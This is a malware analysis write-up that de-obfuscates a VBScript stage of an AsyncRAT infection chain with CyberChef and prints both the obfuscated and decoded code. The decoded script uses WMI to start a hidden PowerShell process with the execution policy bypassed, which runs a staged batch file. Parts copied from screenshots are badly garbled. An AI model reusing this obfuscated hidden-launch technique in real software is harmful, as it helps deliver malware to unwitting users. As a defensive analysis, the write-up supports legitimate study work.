Syntax highlighter	0 11	KAYWWOXZXNUASUEWKCHFKL ="2_ProceSS" XFGOESLXRCJJCRHXBZBPTS = "N3"+KAYWWOXZXNUASUEWKCHFKL+"StaR" WGXORXASAPDVFKSUF0NCP= "inv2:W"
Language auto detect		UYPNIHEVADWURHWIZPINETA = "00T-c"+WGX00RXASAPQVFKSUE0NCP+"in3" EXUV0YHXQTCD0GN0FYCNEI = "MTS:r"+UYPNHEVADWURHNHZPINPTA+"2_Proc"
		<pre>ZZWJTKANNKYJEHAFUDTCWW="vel=1" UVFBXQSZHYDXQKCCQWMYL="iON" KCKLFNNTZYUAJTCUDAPTVQ="NMgM" XJJUZPDEZWXXLZKPLSXPLL="perS" GINDQZLOGQHKQTV0YGHDKT = "aT"+UVFBXQSZHYDXQKCCQWWNYL+"le"+ZZWJTKAWNKYJEHAFUDTCWW+"MP" BDAEZIOSPHGLAYIEPCSKKZ="SOna" INAUKWKYCZNPOIVVNEQVFN="ot-cim" CFKSWETDBQSRPZHKUYTDX="wer" LOCNYJVFLHRIEEXZNOQYXB ="ll.e" Set STBRJKUASKOWTRXWVSAOGR = GetObject("wi"+KCKLFNNTZYUAJTCUDAPTVQ+"ts:"+ "{iM"+XIJUZPDEZWXXLZKPLSXPLL+"on"+GINDQZLOGQHKQTVOYGHDKT+"er"+BDAEZIOSPHGLAYIEPCSKKZ+"te }!rc"+INAUKWKYCZNPOIVVNEQVFN+"v2") Set NWDSWICRKNJDDWMNKOSCS = STBRJKUASKOWTRXWVSAOGR.Get("wi"+ XFGOESLXRCJJCRHXBZBPTS +"tuP") Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMNKOSCS.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMKKOSCS.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMKKOSCS.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = OMDUSWICRKNJDDWMKKOSCS.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMKKOSC.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMXKOSC.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMXKOSC.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMXKOSC.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWJKYNJCCDOGNOFYCNEI +"eSS") EEKTGASEUQPENYXVFFTKJ = ESKRQXAIQCIIWGPQEPLXNJ.Create("PO"+CFKSWETDBQSRPZPHXUYTDX+"She"+LOCNYJVFLHRIEEXZNQQYXB+" xe "+UVXVCAEWLJCGGPDCUNGVGU, null, NWVSBVKOKKPHTVJUAYLXIC, intProceSSID)</pre>

The firefox developer console to dynamically concatenate the strings.

The concatenated strings can be seen below. This reveals the ultimate intention and purpose of the script, which was to utilize Powershell to execute a second payload (a batch script) stored on the machine.



For the sake of readability and completeness, we manually replaced the last decoded values, leaving this as the final state of the script.

```
Set STBRJKUASKOWTRXWVSA0GR = Get0bject("wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!--.-root-cimv2")
Set NWDUSWICRKNJDDWWNKOSCS = STBRJKUASKOWTRXWVSA0GR.Get("wiN32_ProceSSStaRtuP")
Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVJUAYLXIC.showWindow = 0
Set ESKRQXAIQCIIWGPQEPLXNJ = Get0bject("wiNmgMTS:r00T-cimv2:Win32_ProceSS")
EEKTGASEUQPENYYXVFFTKJ = ESKRQXAIQCIIWGPQEPLXNJ.Create("POwerShell.exe -noProfile -ExEcutionPolicy
Bypass -Command C:\\ProgramData\\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat", null,
NWVSBVKOKKPHTVJUAYLXIC, intProcessID)
```

Before and After Pics

Here you can see a full before and after of our CyberChef Decoding.

Output 🖻 🗇 🖽 🗯	Output	9 6	(†)	::
UWDXCHABL/CGBRCHWORU = ""Gch (45) G ^m Gch (11) G ^m Gch (10) G ^m Gch (1	UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&" UVXVCAEWLJCGGPGVWBVUABXGFIW\UPFCRQOFGHVWBVUABXGFIW.bat" KATWMOXZDNUASUEWKCHFKL ="2_ProceSS" KATWMOXZDNUASUEWKCHFKL ="2_ProceSS" WGXNORXASAPQVFKSUENNCP= "M3"&KATWMOXZDNUASUEWKCHFKL&"StaR" WGXNORXASAPQVFKSUENNCP= "imvz:w" UVPNHFFVADWINHVIETYDFFF = "M3":GKATWMOXZDNUASUEWKCHFKL&"staR" EXUUOYHKYTCDOGNOFVCHEI = "MTS:r"GUYPNHFVADWURHWHZPINPTA&"2_Proc" ZZNJTKAWNKYJEHAFUDTCWH="wel="			
UMPHEYADADABHARZZNETA = Replace(Strees(~cVSof(E4)); hr(78)*) DecodeXXLB2QVFXUEDCKPENepLace(StrReverse(~CRPEZHYCDWYCSGUCMSCBnL*),*LBQTOVENTOXFXTVUAV32*,**Gc hr(78)***) DecodeXXLB2QVFXUEDCKPENepLace(StrReverse(~CRPEZHYCDWYCSGUCMSCBnL*),*BSGWCUCSGVMJCYHZEPRC*,***G chr(51)***) Decode	KKKLNNIZYUAJICUDAFIYU="MMGM" XJJUZPDEXXXXZKYLSXPL="perS" GINDQZLOGUHKTYYOYGHDKT = "aTIONIEvel=IMP" BAETIGBUHKTYUYE="Comput			
LDUAVMORTCODONOFYCHEI = Replace(Streverse("r:"6chr(83)&"VKLPWOTKLX0QATSGUNBOP%chr(77)&""),"POBNUGSTNAQHOLKTONPLKY",""6chr(84)&")& UYYNHYVADWURHXZPINPTA&Replace(StrReverse("corP_JGJCBGUNYOWFZESDISPOU"),"UOPSIDSBZEPNOYNGGCJG3",""6chr(50)& ")	DUALCUSTRULATIEPCSACE SOURCE INAUKAYCZPOTVAECVPN="ot-cim" CFKSWETDBQSRPZPHXUYTDX="wer"			
ZZDYTXMARKYZHEATROTCOMERGPLace(StrReverse("YBMCIDIGGERANQD,PZKHUL"), "UBKZEUQOAPEGGGID3BY","=") UVFDXQ52PMXQKCCQMMYL=Replace(StrReverse("*Gchr(78)5"VEJ30VCQKEA0BHXGRVEZY1"), "VZEYMKAHB0AEXQXV03AEV", "*G ch(73)5"") KKXLRMTZYUJTCUDAPTVQ=Replace(StrReverse("YGTGPUHOVOOH9CPQ0KRCDgXTGPUHOVOOH9CPQ0KRCD*6 ch(78)5")	LUCNTJYFLHKLEXZNUQTXB ="[l.e" Set STBJKUASKOWTRXWVSAOGR = GetObject("wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!root Set NWOUSWICRNJDDWMMKOSCS = STBRJKUASKOWTRXWVSAOGR.Get("wiN32_ProceSSStaRtuP") Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMNKOSCS.SpawnInstance_	-cimv2	")	
X1JU2P0E2000L2X9LSXPLL=Replace(StrReverse("% chr(8)3/2550KP0EU9CHRB0H2D0ep1)_#0.02KR9HTXNEUE0PK0582","r") GT0020.0069W0709W6KT Replace(StrReverse("%GDREVDF02R0VF05V1;STR0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2W/3BA0H0","@")&UVFBX952HTX0KCC0#W1L6 Replace(StrReverse("%GDREVDF02R0VF05V1;STSTB0.0ETAT"),"TATEIO#RTXSYS2H01A0H0C09H04F01A0H0C09H04F05 Replace(StrReverse("%GDREVDF02R0VF02R0VF05V1;STSTB0.0ETAT"),"@")&UVFBX952HTX0KC0 Replace(StrReverse("%GDREVDF02K04F05A00+00;"),"@")&UVFBX952HTX0K04F05 Replace(StrReverse("%GDREVDF02K04F05A0+00;"),"@")&UVFBX952HTX0K05 Replace(StrReverse("%GDREVDF02K04F05;"),"@")&UVFBX952HTX0K04F05 Replace(StrReverse("%GDREVDF02K04F05;"),"@")&")&=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&	<pre>NWVSBVKOKKPHTVJUAYLXIC.ShowWindow = 0 Set ESKRQXAIQCIIWGPQEPLXWJ = GetObject("wiNmgMTS:r00T-cimv2:Win32_ProceSS") EEKTGASEUQPENYYXVFFTKJ = ESKRQXAIQCIIWGPQEPLXWJ.Create("POwerShell.exe -noProfile -ExEcuti Bypass - Command C:\ProgramData\UPFCRQ0FGHVMBVUABXGFIW\UPFCRQ0FGHVMBVUABXGFIW.bat", null</pre>	onPoli	cy	

Here you can see a full before/after, with the string concatenations and assigments manually removed.



Conclusion

At this point, we considered the script to be fully decoded and proceeded to analyze the remaining .bat script. This .bat script was itself obfuscated, and unravelled itself into another (unsurprisingly) obfuscated PowerShell script. This PowerShell script contained a loader for AsyncRat malware.

If you're interested in seeing some additional analysis of the remaining payloads, we highly recommend the following posts.

- Matthew Brennan <u>@embee_research</u>
 <u>https://twitter.com/embee_research/status/1589453390450683905?s=20</u>
- Michael Elford <u>@Maverick_011</u> <u>https://hcksyd.medium.com/asyncrat-analysing-the-three-stages-of-execution-378b343216bf</u>

